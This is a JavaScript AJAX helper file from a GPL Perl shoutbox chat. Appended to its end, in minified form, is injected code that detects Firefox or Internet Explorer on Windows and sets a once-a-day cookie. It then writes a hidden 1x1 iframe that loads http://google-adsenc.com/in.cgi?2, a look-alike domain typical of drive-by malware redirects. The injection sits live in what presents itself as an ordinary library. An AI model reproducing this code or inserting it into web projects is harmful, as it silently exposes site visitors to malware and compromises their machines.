/******************************************************************************
 * ajaxobj.js
 * ----------------------------------------------------------------------------
 * DO NOT MODIFY OR REMOVE THIS COPYRIGHT SECTION
 * ----------------------------------------------------------------------------
 * Author       : Marco Cosentino (technics@alice.it)
 * Copyright    : 2009 (c) Marco Cosentino
 * License      : GPL 2.0
 * Application  : AJAX Perl chat
 * Version      : 0.1
 * Date Started : 2009/02/15
 * Last Modified: 
 *
 * This is a shoubox written in Perl / Javascript
 *
 
  This file is part of AJAX Perl chat.

    AJAX Perl chat is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    AJAX Perl chat is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with AJAX Perl chat.  If not, see <http://www.gnu.org/licenses/>.

 ******************************************************************************/
 
 // This script includes some AJAX facilities

function AJAXObj() 
{
	this.httpRequest = null;
	this.onReceiveResponse = function(){};
	this.onRequestTimeout = function(){};
	this.onRequestAborted = function(){};
	
	// has this request been aborted
	this.aborted = false;
	
	this.timer = null;

}
 
AJAXObj.prototype.CreateRequest = function()
 {	 
	try 
	{
		// Firefox, Opera 8.0+, Safari
		this.httpRequest = new XMLHttpRequest();
    }
	catch (e)
	{
		// Internet Explorer
		try 
		{
			this.httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch (e)
		{
			// IE
			var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.6.0','MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
			var success = false;
			for (var i=0;i < XMLHTTP_IDS.length && !success; i++) 
			{
				try 
				{
					this.xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
					success = true;
				} catch (e) {}
			}
			if (!success)
			{
				alert("Your browser does not support AJAX!");
				return false;
			}
		}
	}
	
	return true;
}
 
AJAXObj.prototype.SendRequest = function(script,data,timeout,cache)
{
	var self = this;
	
	// Abort if there's a call in progrss
	this.abort();

	// Set the new call
	this.aborted = false;
	if(!cache)
	{
		var re = /\?/;
		var date = new Date();
		if(re.exec(script))
			script += '&dontcache=' + date.valueOf();
		else
			script += '?dontcache=' + date.valueOf();
	}
	this.httpRequest.open("GET",script,true);

		
	
	// Set onreadystatechange here since it will be reset after a completed call
	this.httpRequest.onreadystatechange = function()
	{
		// State change callback
		switch(self.httpRequest.readyState)
		{
			case 4:

				if(self.timer != null)
					clearTimeout(self.timer);

				if(!self.aborted)
					self.onReceiveResponse(self.httpRequest.status,self.httpRequest.statusText,self.httpRequest.responseText);
				else
				{
					//debugger;
					self.onRequestAborted();
				}
					
				break;
		}
	}
	
	// Here we set a closure to implement callback style timer
	// the callback will be implemented bu the user of "this" object
	if(timeout != null && timeout > 0)
		this.timer = setTimeout(function(){self.onRequestTimeout()},timeout);
		
	this.httpRequest.send(data);
	
}

// Check if there is a call in progress
AJAXObj.prototype.callInProgress = function() 
	{
		switch ( this.httpRequest.readyState ) {
			case 1:
			case 2:
			case 3:
				return true;
			break;
			default:
				return false;
			break;
		}
	},

// Abort an inprogress request
AJAXObj.prototype.abort = function () 
{
	if (this.callInProgress()) 
	{
		this.aborted = true;
		this.httpRequest.abort();
	}
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
